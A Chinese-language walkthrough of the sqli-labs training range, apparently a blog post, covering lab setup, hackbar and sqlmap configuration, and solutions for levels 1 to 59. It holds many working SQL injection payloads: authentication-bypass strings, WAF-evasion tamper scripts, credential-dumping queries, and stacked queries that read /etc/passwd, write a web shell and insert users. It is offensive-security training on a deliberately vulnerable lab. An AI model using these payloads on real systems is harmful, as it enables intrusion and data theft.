2025年sqlmap详细通关全关sqli-labs靶场通关+搭建保姆级+工具配置保姆级_sqlmap练习网站
目录
搭建:
工具:
hackbar
sqlmap
关卡
前言
sql五板斧之一(联合注入):
sql五板斧之一报错注入:
sql五板斧之一堆叠注入:
sql五板斧之一布尔盲注:
sql五板斧之一时间注入:
第1关
第2关
第3关
第4关
第5关
第6关
第7关
第8关
第9关
第10关
第11关
第12关
第13关
第14关
第15关
第16关
第17关
第18关
第19关
第20关
第21关
第22关
第23关
第24关
第25关
第26关
第27关
第28关
第29关
第30关
第31关
第32关
第33关
第34关
第35关
第36关
第37关
第38关
第39关
第40关
第41关
第42关
第43关
第44关
第45关
第46关
第47关
第48关
第49关
第50关
第51关
第52关
第53关
第54关
第55关
第56关
第57关
第58关
第59关
第60关
第61关
第62关
第63关
第64关
第65关
搭建:
GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.https://github.com/Audi-1/sqli-labs先去这个链接下载我们的sqli-labs靶场文件,这个是github上的,如果进不去需要挂梯子
下载后会有一个zip文件,我们把它拖到我们的win10虚拟机里面,暂时先不解压,接下来我们去下载小皮面板
Windows版phpstudy下载 - 小皮面板(phpstudy)https://old.xp.cn/download.html
在下载完后正常安装就行了,在安装完后,我们找到该软件的www目录,你们安装在哪个盘就去哪个盘里面找,我的话是安装在C盘的
因为我已经安装过很多的靶场了,所以这里会有很多文件夹,你们正常安装完这里只会有箭头指的那两个文件,然后现在把之前下载的sqli-labs的zip文件解压到这个文件夹里面(记得给杀毒软件添加排除项),然后我们打开小皮面板
我们先去查看root的密码
然后把鼠标放到密码那里就能看到root的密码了,在知道了root的密码后,我们返回到你刚刚解压的sqli-labs文件中
然后在根据这个目录打开这个名为db-creds.inc的文件,然后修改其中的$dbpass参数,把他修改成你刚刚看到的root密码,然后保存退出,接下来我们去创建网站,我们会到小皮面板
然后我们点击创建网站
记住,端口我们不要冲突,我推荐8080以上的端口,然后根目录就是www下的你解压的sqli-labs网站文件夹,然后php版本我不是很推荐选很高的版本,然后域名随便写,到最后还是得考端口和IP来连接的,在确认完后,我们去打开apache
在打开后我们尝试用靶机的IP+端口来访问,然后访问成功后,我们点击初始化,不然无法使用
如果页面显示这样,就说明成功了,然后我们就开始配置工具了
工具:
我们所使用的工具有hackbar+sqlmap,我们先来配置hackbar,我们先打开火狐,如果没有就去下载
hackbar
在打开后我们点击右上角的插件
然后在点击管理扩展
然后在输入框输入hackbar进行搜索
然后我们选择第四个下载,然后添加到扩展中就好了,接下来只要我们打开F12就能看到他了
这个东西主要是用于手工注入的,接下来我们配置sqlmap了
sqlmap
这个工具需要python环境,如果你有kali就可以不用安装了,如果没有的话你又想在windows上使用就先去看下面这位大佬的python配置环境在Windows下载、安装Python和配置环境(新手、保姆级教程)_windows下载python-CSDN博客https://blog.csdn.net/weixin_68416970/article/details/139026070
然后在配置完python配置环境后,我们去下载sqlmap
sqlmap:自动 SQL 注入和数据库接管工具https://sqlmap.org/在下载后我们直接解压到你想要放的地方,然后我们打开解压的这个文件夹,然后在文件夹输入框输入cmd,已cmd来打开此目录,然后我们就可以开始使用了,开始做题吧
关卡
前言
由于我比较懒,我通常是手工探测闭合方式,然后在使用sqlmap跑的,毕竟如果用手工跑那些盲注的话,真的很累,我探测主要是告诉你们怎么闭合的。在这里我给你们科普sql注入五板斧(联合、报错、时间、布尔、堆叠),先简单科普命令,其他的下面慢慢学
sqlmap参数和脚本:
参数:
--prefix= #指定闭合头
--suffix= #指定闭合尾
--technique=
#指定注入的方法:B = 布尔盲注,E = 报错注入,U = 联合查询,T = 时间盲注,S = 堆叠注入
--batch #指定默认,不用自己输入Y
--dbs #数据库
-tables/-T #数据表
--columns/-C #字段
--dump #一键“把库表数据全拉下来” 开关
--data= #指定注入的地方,或者你可以在文本中要注入的地方输入*号
--flush-session #清楚上一次测试的数据和缓存
-u #指定url
-r #指定文本
脚本:
1. andor.py
作用:
将 SQL 语句中的逻辑运算符 AND
和 OR
替换为等价但不易被识别的形式(如 &&
和 ||
),用于绕过关键字过滤。
示例:
-
输入:
1 AND 1=1
-
输出:
1 %26%26 1=1
(%26
是&
的 URL 编码)
适用数据库: 所有主流数据库(MySQL、MSSQL、Oracle 等)
2. space2mssqlhash.py
作用:
将 SQL 语句中的空格替换为 #
号(MSSQL 风格的注释),并加上换行符 %0A
,用于绕过空格过滤。
示例:
-
输入:
1 AND 9227=9227
-
输出:
1%23%0AAND%23%0A9227=9227
适用数据库:
-
MSSQL(Microsoft SQL Server)
-
部分 MySQL 版本也可兼容
3. unmagicquotes.py
作用:
利用 宽字节注入 技术,绕过 PHP 的 addslashes()
或 GPC 魔术引号对单引号的转义。
通过 %bf%27
的组合,使得 \\\'
被数据库解析为合法的单引号,从而闭合语句。
示例:
-
输入:
1\' AND 1=1
-
输出:
1%bf%27 AND 1=1--
适用数据库: 所有主流数据库,尤其适用于 MySQL + PHP 环境
4.lianheyinshen.py
#!/usr/bin/env python# -*- coding: utf-8 -*-from lib.core.enums import PRIORITYimport re__priority__ = PRIORITY.HIGHESTdef dependencies(): passdef tamper(payload, **kwargs): # 1. 空值保护 if not payload: return payload # 2. 大小写兼容 + 整词匹配 + 仅一次替换 payload = re.sub( r\'\\bunion\\s+select\\b\', # 整词、大小写不敏感、允许多个空格 \'union all select\', payload, flags=re.IGNORECASE | re.MULTILINE ) return payload
-
有些 WAF(Web 应用防火墙)会拦截
UNION SELECT
,但对UNION ALL SELECT
不做过滤。 -
在 SQL 中,
UNION ALL
和UNION
的区别是:-
UNION
会去重(默认行为) -
UNION ALL
不去重,但功能等价,都能用于联合注入。
-
sql五板斧之一(联合注入):
# 1) 判断列数
id=1 order by 4-- -
# 2) 爆库名
id=-1 union select 1,database(),3,4-- -
# 3) 爆表名
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -
# 4) 爆列名
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x666c6167-- - # flag 的十六进制
# 5) 爆数据
id=-1 union select 1,group_concat(flag),3,4 from flag-- -
sql五板斧之一(报错注入):
# 1) 爆库名
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- -
# 2) 爆表名
id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- -
# 3) 爆列名
id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x7e),1)-- -
# 4) 爆数据
id=1 and updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1)-- -
sql五板斧之一(堆叠注入):
# 1) 新建用户(需要权限)
id=1;insert into users(id,username,password) values (99,\'evil\',\'123456\')-- -
# 2) 读文件(需要 FILE 权限)
id=1;select load_file(\'/etc/passwd\')-- -
# 3) 写 shell(需要 FILE 权限)
id=1;select \'\' into outfile \'/var/www/html/s.php\'-- -
sql五板斧之一(布尔盲注):
# 1) 爆库名长度
id=1 and length(database())=3-- -
# 2) 逐字符猜库名(第 1 位)
id=1 and ascii(substr(database(),1,1))>64-- -
# 3) 爆表名(假设已知库名长度,继续逐字符)
id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64-- -
# 4) 爆列名(同上,换 table_name=0x666c6167)
id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),1,1))>64-- -
# 5) 爆数据
id=1 and ascii(substr((select group_concat(flag) from flag),1,1))>64-- -
sql五板斧之一(时间注入):
# 1) 爆库名长度
id=1 and if(length(database())=3,sleep(2),0)-- -
# 2) 逐字符猜库名
id=1 and if(ascii(substr(database(),1,1))>64,sleep(2),0)-- -
# 3) 后面同理,把 substr 里的内容换成表名、列名、数据即可
第1关
探测:
Sqlmap:
第2关
探测:
Sqlmap:
第3关
探测:
Sqlmap:
第4关
探测:
Sqlmap:
这里sqlmap把我的”)闭合方式给了别的地方
所以我就采用它的方式吧
第5关
这题不管我怎么探测都无法返回结果,这就说明这是盲注
探测:
由于我比较喜欢用时间来探测,这句代码的意思就是当数据库名字字符大于三的时候,页面返回需要四秒,反正这个时间探测我是不用怕没有返回效果的,只要他在四秒后返回就说明我闭合成功了
Sqlmap:
这里我们需要用到一个参数—technique来指定要用的查询方法了比如说
B = 布尔盲注,E = 报错注入,U = 联合查询,T = 时间盲注,S = 堆叠注入
我用的是布尔盲注入这里,由于是布尔盲注入,所以会很慢
第6关
看来这题也是盲注,也是没有回显
探测:
Sqlmap:
第7关
探测:
sqlmap:
这关我用的时间盲注,所以特别慢记住特殊符号需要加--prefix参数
第8关
探测:
sqlmap:
由于时间限制,我只放sqlmap能跑出数据库名字的图片就好了,毕竟已经做了8关了,其他参数你总会写了吧
第9关
这关已经是不返回任何东西了,只能靠我们的时间盲注了,时间盲注真的非常非常慢
探测:
sqlmap:
第10关
探测:
sqlmap:
第11关
从这一关开始就不是get传输了,就是post传输了,所以我们的方法变得不一样了,这题我们可以看到是登录页面了,登录页面通常是已post来传输
在这里我们无法使用get来传参了,你可以在输入框那里尝试sql注入,但是我会使用burp suite抓包,因为方便,如果你还没有burp suite工具的话,去看下面这位大佬,然后配置完在回来继续做题
抓包工具(五)2025版 Burp Suite Professional的下载、安装、使用_burp下载-CSDN博客https://blog.csdn.net/qq_33204709/article/details/145829712当然了,在做题前,这题其实可以用sql注入的万能密码
在输入sql万能密码的时候我们不知道它的账号密码,所以我们尝试使用sql注入的万能密码
万能密码分类:
【ASP / ASPX】
\'or\'\'=\'
\') or (\'a\'=\'a
\'or 1=1--
admin\'--
1\'or\'1\'=\'1
a\'or\' 1=1--
\" or \"\"=\"
\') or (\'1\'=\'1
1\' or \'1\'=\'1\' or \'1\'=\'1
\') union select 1,\'admin\',\'5f4dcc3b5aa765d61d8327deb882cf99\'--【PHP】
\' or 1=1--
\' or 1=1#
\' or \'a\'=\'a
\' or 1=1/*
\' or 1=1--+
\'/**/or/**/1=1#
\' union select 1,2,3--
\' or 1=1 limit 1--【JSP / Servlet】
1\' or \'1\'=\'1
admin\' or \'1\'=\'1
\' or 1=1--
\' or 1=1/*
\' union select 1,2,3 from dual--
\' or 1=1 limit 1--
\' or 1=1 LIMIT 1 OFFSET 0--【通用(跨语言)】
admin\' or \'1\'=\'1
\' or 1=1--
\' or 1=1#
\' or \'a\'=\'a
1\' or 1=1--
\') or (\'1\'=\'1\')--
\' union select 1,2,3--
\' union select 1,user(),database()--
\' or 1=1 limit 1--
\' or 1=1 offset 0--
\' or 1=1#
在输入万能密码后可以看到成功爆出了账号密码,当然了,这个只是演示而已,我们这关还是得用sqlmap来跑的。我们先打开burp suite来抓包
我们打开内置的浏览器,然后把网址复制上去
然后我们在输入框输入账号密码,然后在点击拦截开始
然后在点击登录就可以抓到包了
把这个包保存到你想保存的地方,记住后缀名为txt,在保存好后,我们需要去到账号密码那里去指定注入的地方
加个*号即可,我给指定的是密码这里进行注入,接下来就是探测了,老传统了,不探测光靠sqlmap跑那简直就是脚本小子
然后我们python sqlmap.py -r 文件 --dbs
-r是指定文件-u是指定url,--dbs是爆破数据库的意思,--prefix是闭合头,--suffix是闭合尾
第12关
这一关你可以先试一试万能密码,当然了这是我自己的习惯
探测:
sqlmap:
注意:我们指定闭合头的时候需要用\\来转义双引号,单引号不用,因为我这个是windows的cmd,所以需要转义,kali不用
第13关
探测:
sqlmap:
这题有报错注入和时间盲注
第14关
探测:
sqlmap
第15关
探测:
这次是不管写什么都不返回,这就只能用到时间盲注来判断闭合方式了,可以看到闭合方式是单引号,哦对了,账号记得用admin不然它无法给你确定是否闭合成功,毕竟现在1不是username里面的东西了
sqlmap:
第16关
探测:
sqlmap:
第17关
这一关我们只能在密码那里注入了
题目提示在密码注入,因为这里账号框采用了check_input()来对输入的特殊字符进行转义,比如说我们输入admin\'它就会使用check_input()参数来进行转义成admin\\\'这样我们的单引号就变成普通的字符了
探测:
sqlmap:
估计这时候会有人疑惑了,为什么不放数据库名字完整图,因为这是用的时间盲注,特别特别慢,跑出来都要五分钟,这种还只是靶场的了,真实环境没有一个小时还想脱库?所以我就只截到了成功弄出payload的页面就好了
第18关
我们这关是要去ua头来进行注入的,因为官方提示是这样说的,而且看源码的话,可以知道账号和密码都用了check_input()来对特殊符号进行转义了,所以我们得从ua头进行突破,首先我们先登录正确的账号密码,然后就会弹出如图的ua头信息,然后我们在抓包
探测:
因为只有这样的包,我们才能进行ua头注入,如果你不登陆的话完全就无法进行ua注入
记得要把ua头给删了然后在输入星号作为注入点
sqlmap:
第19关
一样的,这次是referer头注入,同样要先登录才能注入
探测:
这个用的是报错注入来显示数据库的,我们重点看的是单引号闭合
sqlmap:
第20关
这个是cookie注入了
探测:
记得把get传参改成post然后在admin标记注入点
sqlmap:
第21关
这题也是cookie注入,但是这题不是完全一样的,因为这题的cookie进行了加密
先url解码在base64解码
最终可以看到用户名为admin,那要怎么注入呢?当然是正常注入了,不过必须要base64编码才有用
探测:
可以看到,确实报错了,这就说明,我成功闭合了,闭合头为\'),那加下来该跑sqlmap了
sqlmap:
记得要用--tamper=base64encode参数来加密payload才行,base64是编码格式,encode是编码的意思,还有文件记得改post传输,get的话只会启动不了sqlmap
第22关
这题跟上一关差不多,只是闭合方式不同罢了
探测:
sqlmap:
别忘了改成post传输
第23关
探测:
这题我们可以看到又变回get传输了,那我们先尝试输入id=1看看结果
可以发现,居然是正常返回的,那都23关了,肯定有坑等着我们呢,我在试试闭合
果然有坑,我们的注释符没用了,那我们尝试别的闭合方式
我这里使用了;%00来进行闭合,我看别的博主都在使用or 1=\'1之类的闭合方式,那我也给你们展开这种闭合方式说一下吧有哪些
and 1=\'1
or 1=\'1
where 1=\'1
union select 1,2,\'3
union select 1,2,3 ||\'1
通常是有这几种的,但是我用;%00也是可行的,那我就用;%00吧,毕竟写的少
sqlmap:
欸,探测完闭合方式跑的就是快,我还记得去年我硬啃这个的时候,就只会光用sqlmap跑,跑不出来就问ai为什么跑不出来
第24关
这关不一样了,完全不一样,这关是二次注入,因为有时候正常登录框做好修复是很难打进去的,所以就用到我们的二次注入了,这关考验的是注册到修改密码的,就是说在注册了一个账号后尝试修改管理员的密码,跟上我的节奏,我们开始吧
上来就是一个登录框
我怕你们看不懂,我给你们放一个翻译过后的
这关我们先进行注册账号,账户名为admin\'#,这个星号和单引号我就不多说了,到24关了你还不懂这个的话那就得重新复习一下了
在注册完后我们使用注册的账户和密码登录
登陆后我们修改密码
在修改后我们尝试登录admin用户
可以看到我们成功的已刚刚修改的密码登录了管理员账户,原理就是admin\'#后面的#号被当作注释符来执行了,这就相当于admin\'被当作admin账户来修改密码了,单引号被用来闭合了
第25关
探测:
我们先来尝试23关的闭合方法
可以看到我们的注释符是没有问题的,但是这里报错了,我们看看报错原因,原来是order by 4中的or被过滤了,那我们双写绕过
可以看到,我们已经成功的绕过了or过滤
sqlmap:
虽然,这里是要双写绕过的,但是!那是手工,我们sqlmap干嘛不用盲注来弄,手工因为能用union联合查询,所以双写,那我们报错的这题可以不用管,所以sqlmap我直接指定报错注入就好了,就不用怕sqlmap不搞双写绕过了,当然了,还是要知道双写绕过的,毕竟你可以不用,但是你不能不会
第26关
探测:
由于这一关过滤了or和and和空格,所以sqlmap跑不出来,哪怕跑出来了也是报错的,payload完全错误
而且根据源码,因为源码里的黑名单函数 blacklist($id)
已经用正则一次性把所有“可绕过空格”的字符全部干掉了:
所有 “空格代替” 技巧(/**/
、%09
、%0a
、%a0
、\\r
、\\n
、\\t
、\\v
、\\f
…)
在 第26关 的这道源码面前 统统失效。
我弄了一天了也没办法,我就放弃了我直接上命令吧,如果你们有sqlmap脚本能跑的出结果,评论告诉我,拜托了
\'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=\'security\'))),1));%00\'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=\'security\'aandnd(table_name=\'users\')))),1));%00\'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1));%00
第27关
这题我上源码给你们看
可以看见这次过滤了union和select但是大写的话只过滤了第一个字符的大写,那就说明我们可以使用大小写来绕过而且这题没有过滤and和or最重要的是这一关可以用%0a来代替空格了,因为这题没有像上一关一样用正则一次性把所有“可绕过空格”的字符全部干掉了
探测:
sqlmap:
randomcase.py:
是sqlmap自带的 WAF 绕过脚本
作用:把 SQL 关键字(SELECT、UNION、AND、OR …)随机改成大小写混合的形式,
space2mssqlhash.py:
sqlmap 内置的 空格绕过 tamper 脚本,专用于 Microsoft SQL Server(MSSQL),也兼容 MySQL。
它的作用很简单:
把 payload 里的空格替换成
#
+ 换行符%0A
,
从而绕过 空格过滤 或 WAF 规则。
--threads
用来并发发包,加快数据提取速度。
默认值 1(单线程);设成 2-8 视网络/目标负载而定,过高易被 WAF 封。
第28关
这关同样的我们先看源码
这函数把所有空白、注释、连字符、井号及“union[空格]select”统统删掉,让常规联合注入无路可走。那我们尝试探测闭合方式
探测:
闭合正常就说明成功了
sqlmap
#!/usr/bin/env python# -*- coding: utf-8 -*-from lib.core.enums import PRIORITYimport re__priority__ = PRIORITY.HIGHESTdef dependencies(): passdef tamper(payload, **kwargs): # 1. 空值保护 if not payload: return payload # 2. 大小写兼容 + 整词匹配 + 仅一次替换 payload = re.sub( r\'\\bunion\\s+select\\b\', # 整词、大小写不敏感、允许多个空格 \'union all select\', payload, flags=re.IGNORECASE | re.MULTILINE ) return payload
这是我们要用到的lianheyinshen脚本,我们还要用到空格过滤脚本space2mssqlhash.py脚本
第29关
探测:
这一关我甚至探测了居然能用联合查询直接查,这是我没想到的因为这都已经是29关了,已经过半了,没想到只是简单的闭合一下就能直接查询了,感觉事情有些蹊跷,我看了一下关卡名字,居然还是带waf的,弄了半天我才明白我是在index.php注入的而waf校验却在login.php,所以我根本就没进行waf过滤,所以直接就可以查询了,但是为了让你们了解这一关的考点我来跟你们解释这一关的源码,这个waf居然只是检测第一个id是否为纯数字的,我来给你们一行一行的解释源码
源码
Less-29 Protection with WAF Welcome Dhakkan
<?php//including the Mysql connect parameters.include(\"../sql-connections/sql-connect.php\");//disable error reportingerror_reporting(0);// take the variables if(isset($_GET[\'id\'])){$qs = $_SERVER[\'QUERY_STRING\'];$hint=$qs;$id1=java_implimentation($qs);$id=$_GET[\'id\'];//echo $id1;whitelist($id1);//logging the connection parameters to a file for analysis.$fp=fopen(\'result.txt\',\'a\');fwrite($fp,\'ID:\'.$id.\"\\n\");fclose($fp);// connectivity $sql=\"SELECT * FROM users WHERE id=\'$id\' LIMIT 0,1\";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){ echo \"\"; echo \'Your Login name:\'. $row[\'username\']; echo \"
\"; echo \'Your Password:\' .$row[\'password\']; echo \"\"; }else {echo \'\';print_r(mysql_error());echo \"\"; }}else { echo \"Please input the ID as parameter with numeric value\";}//WAF implimentation with a whitelist approach..... only allows input to be Numeric.function whitelist($input){$match = preg_match(\"/^\\d+$/\", $input);if($match){//echo \"you are good\";//return $match;}else{header(\'Location: hacked.php\');//echo \"you are bad\";}}// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).function java_implimentation($query_string){$q_s = $query_string;$qs_array= explode(\"&\",$q_s);foreach($qs_array as $key => $value){$val=substr($value,0,2);if($val==\"id\"){$id_value=substr($value,3,30); return $id_value;echo \"
\";break;}}}?> 

Reference:
AppsecEU09_CarettoniDiPaola_v0.8.pdf
https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf
整体架构:两层反向代理(JSP + PHP)
层级 作用 拿到哪个 id
第一层 Tomcat/JSP 做 WAF 校验 只看 整个 QueryString 里的第一个 id
第二层 Apache/PHP 真正执行 SQL 只看 $_GET[\'id\'] 的最后一个值
JSP 层的白名单函数 whitelist()
function whitelist($input){ $match = preg_match(\"/^\\d+$/\", $input); if(!$match){ header(\'Location: hacked.php\'); exit; }}
-
正则
/^\\d+$/
要求 纯数字,长度不限。 -
只要出现字母、符号、空格 → 302 跳转到
hacked.php
。
JSP 层如何提取「第一个 id」——java_implimentation()
function java_implimentation($query_string){ // 将整个 QueryString 按 & 切数组 $qs_array = explode(\"&\",$query_string); foreach($qs_array as $key => $value){ // 取前两个字符 $val = substr($value,0,2); if($val == \"id\"){ // 从第 3 位开始一直往后 30 字节当作 id 值 return substr($value,3,30); } }}
示例:?id=111&id=abc123&foo=bar
-
explode
得[ \"id=111\", \"id=abc123\", \"foo=bar\" ]
-
只取 第一个元素
id=111
→ 返回111
(纯数字,白名单通过)
当然了,因为我是在index.php注入的,waf在login.php所以我才能不被过滤直接查询的, 如果是在login.php进行注入的话你们就在id后面输入&id=1就好了
例子:
?id=1&id=-1\' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();%00
sqlmap:
第30关
探测:
这题跟上一关一样都是waf判断,但是机制都是一样的只不过闭合方式变成了双引号,那我就不废话了直接上sqlmap
sqlmap:
记得用*来标记注入点
第31关
就跟上一关多了一个)号
探测:
sqlmap:
第32关
这一关不一样了,我们看源码:
可以看到这里使用了check_addslashes来转义特殊字符,这样你的1\'就会变成1\\\',它就会把你输入的所有特殊字符当作字符串来保存了,就不会当作符号执行,那怎么办呢?看到这里的文本格式为gbk,这里就要用到宽字符来注入了
因为 GBK 是双字节编码:
正常
\'
被转义成\\\'
(单字节0x5c 0x27
)。如果我们输入
%df\'
(即%df%27
),GBK 会把它当成一个完整的 双字节汉字0xdf5c
,反斜杠 0x5c 被当成该汉字的一部分,于是后面的\'
就逃逸出来,成功闭合 SQL。实际 Payload
URL 输入:
?id=%df\' or 1=1--+
发送字节序列:
0xdf 0x27 0x20 ...
GBK 解码后:
0xdf5c
被当成“縗” → 转义符\\
被吃掉 →\'
成功逃逸。
sqlmap:
我们要用到tamper自带的unmagicquotes.py脚本来绕过了
第33关
三十三关和三十二关一模一样,我就不多弄了
第34关
这一关一进去
就可以看到我们的登陆界面,看来是post传输,然后这一题还是宽字节注入,那我们抓包然后注入就好了
sqlmap
记得用--data来指定注入的范围
第35关
这一题使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,记得在前面加上0x,直接使用联合查询就可以了,所以我就不用探测了,没有意义,我们直接用sqlmap就好了,因为sqlmap如果发现联合查询无法直接查询到的话会自己使用加密的
第36关
使用mysql_real_escape_string函数对于特殊字符进行转义。
探测:
可以看到闭合方式还是一样%df+单引号,闭合尾我用的是-- -,好了直接开始跑吧,记得用unmagicquotes脚本
第37关
这一关跟34关一样用宽字符绕过不过用的是mysql_real_escape_string()函数来过滤,我来给你们科普一下两者函数的区别吧
是否看数据库脸色:
addslashes()
:不管数据库用什么字符集,都按固定规则转义(只处理\'
、\"
、\\
、NULL)。mysql_real_escape_string()
:必须连着数据库,会根据数据库的字符集动态调整转义规则。谁更不容易被绕过:
addslashes()
:在 GBK 这类宽字符集下很容易被绕过(比如宽字符注入)。mysql_real_escape_string()
:因为跟着数据库字符集走,能防住大部分字符集相关的绕过,更安全(但非绝对)。
sqlmap:
直接给数据包加星号就行,这样就不用特意的去在输--data了
第38关
探测:
这...直接就绕过了,我在试试直接跑?
这...仿佛失去了一切力气一样,我看了半天发现,这题好像考验的是手工堆叠注入,那我就给你们列出堆叠注入的命令吧,堆叠注入是把多条SQL语句用分号“;”拼接成一条提交,一次性执行多个操作的黑客技巧。
堆叠注入:
1\';insert into users(id,username,password) values (\'id号\',内容,内容)--+
例子:
我在ID号为40里面插入了database()来显示当前的数据库名字
第39关
这种关卡考的就是让你堆叠注入的,但是没有做别的限制,单纯让你练堆叠的,所以我们总不能直接拿sqlmap随便跑吧?
① 确认堆叠可用(3 秒延迟)?id=1;SELECT SLEEP(3)--+页面卡 3 秒说明堆叠注入成立。② 爆当前数据库名?id=1;UPDATE users SET password=(SELECT DATABASE()) WHERE id=1--+再访问 ?id=1,password 字段就是库名(如 security)。③ 爆表名?id=1;UPDATE users SET password=(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) WHERE id=1--+再访问 ?id=1,password 里出现所有表名(如 users,emails)。④ 爆列名(以 users 表为例)?id=1;UPDATE users SET password=(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name=\'users\') WHERE id=1--+再访问 ?id=1,password 里出现列名(如 id,username,password)。⑤ 爆数据(取 users 表所有用户名密码)?id=1;UPDATE users SET password=(SELECT GROUP_CONCAT(CONCAT(username,\':\',password)) FROM users) WHERE id=1--+再访问 ?id=1,password 字段一次性把所有账号密码打印出来,39 关完成。
sqlmap:
第40关
这题的本质还是让你练堆叠注入的,不过闭合方式成\')了,堆叠命令看上一关的
sqlmap:
第41关
和39关一样,都是给你练联合注入的,闭合方式是整数
sqlmap:
第42关
这关依旧是post传输,不过这次也是在密码注入的,你可以直接查询然后用查询到的账号密码直接登录,或者你可以使用堆叠查询来注入一个账号和密码,然后在用刚刚注入的账号和密码进行登录
login_user=1&login_password=123456\';insert into users(id,username,password) values (\'114514\',\'admin114514\',\'123456\')--+&mysubmit=Login
sqlmap:
第43关
和上一关一样,不过闭合方式成\')了
sqlmap:
第44关
跟四十二关一样的闭合方式,但是这次是没有回显了,只有登录成功和登录失败
sqlmap:
sqlmap只能用时间盲注跑的出来,布尔盲住跑不出来
第45关
跟四十三关一样,不过没有数据返回了,依旧只能布尔盲注
sqlmap:
第46关
这题采用了新的注入点sort,最主要的是,这次的注入点在order by 后面,order by是用来排序的函数,然后order by 后面是不能用联合查询的,因为会报错,那我们试试报错注入
sqlmap:
第47关
这题跟46关差不多,只不过需要闭合了,闭合是单引号
sqlmap:
第48关
这一关是没有回显的了,只有显示排序和不排序,所以考虑报错、布尔、时间,这关闭合方式是没有闭合方式,直接输入就行
sqlmap:
第49关
这一关跟47关一样都是单引号闭合,不过又跟48关一样没有回显,考虑报错、布尔、时间
sqlmap
第50关
新技术sqlmap
这题和四十六关一样,可以使用updatexml进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行,但是天天光跑数据库有啥意思,教你们一个新的sqlmap技术,sqlmap写木马掌控服务器,不过这个有一个前提,前提必须知道对方的服务器的绝对路径
正常sqlmap通关:
第51关
单引号闭合,没什么好说的,只不过我们来看源码
这个参数可以一次发送多条 SQL 语句并顺序执行,可触发“堆叠注入”
sqlmap:
第52关
这关是整形注入,没有报错了,直接时间或者布尔吧
sqlmap:
第53关
这题单引号闭合,并且无报错,不过可以用堆叠注入,因为又mysqli_multi_query函数
sqlmap:
第54关
从这题开始,后面的题都强制手敲了,sqlmap用不了,这题没有堆叠注入的函数给你了,不过这次限制了次数,只有十次机会,加油少年,你已经来到了第54关,在通关完65关后假以时日我相信你可以打穿美国情报局的网络的,闭合方式是单引号
由于这关限制了次数,无法在用sqlmap通关了,我们手敲吧,这关没有限制联合查询,我们直接上最简单粗暴的吧
爆数据表名字
?id=-1\' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
爆字段:
?id=-1\' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=\'ala3j1h51y\'-- -
爆数据:
?id=-1\' union select 1,2,group_concat(id,0x5c,sessid,0x5c,secret_4Q56,tryy) from ala3j1h51y-- -
第55关
这题也是有次数限制的,只不过成14次了,估计是给我们探测闭合方式的吧,闭合方式为括号
命令:
表:
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
字段:
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=\'ala3j1h51y\'-- -
数据:
?id=-1) union select 1,2,group_concat(id,0x5c,sessid,0x5c,secret_4Q56,tryy) from ala3j1h51y-- -
第56关
这关和前两关也是一样的,同样的次数限制,只不过闭合方式变成了单引号+括号
命令:
表:
?id=-1\') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
字段:
?id=-1\') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=\'zzg1kqpxnb\'-- -
数据:
?id=-1\') union select 1,2,group_concat(id,0x5c,sessid,0x5c,secret_IS0G,0x5c,tryy) from zzg1kqpxnb-- -
第57关
双引号闭合
表:
?id=-1\" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
字段:
?id=-1\" union select 1,2,group_concat(column_name) from information_schema.columns where table_name=\'zzg1kqpxnb\'-- -
数据:
?id=-1\" union select 1,2,group_concat(id,0x5c,sessid,0x5c,secret_IS0G,0x5c,tryy) from zzg1kqpxnb-- -
第58关
这次难了喔,居然只有五次机会,而且需需要在五次内找到CHALLENGES数据库中的secret key
我们先探测闭合方式
可以发现闭合方式是单引号,然后查看一下长度
开始爆表
?id=-1\' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- -
爆字段:
?id=-1\' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\'x09x7glstb\'),0x7e),1)-- -
爆数据:
注意一定要在五次内弄完,不然数据表会重置的
?id=-1\' and updatexml(1,concat(0x7e,(select group_concat(secret_RIMF) from naejgzqiid),0x7e),1)-- -
第59关
这题和五十八关一样使用报错注入,id是整数型
判断长度:
数据表:
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\'challenges\'),0x7e),1)-- -
字段:
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'2wnm27p461\'),0x7e),1)-- -
数据:
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(secret_06O5) from 2wnm27p461),0x7e),1)-- -
第60关
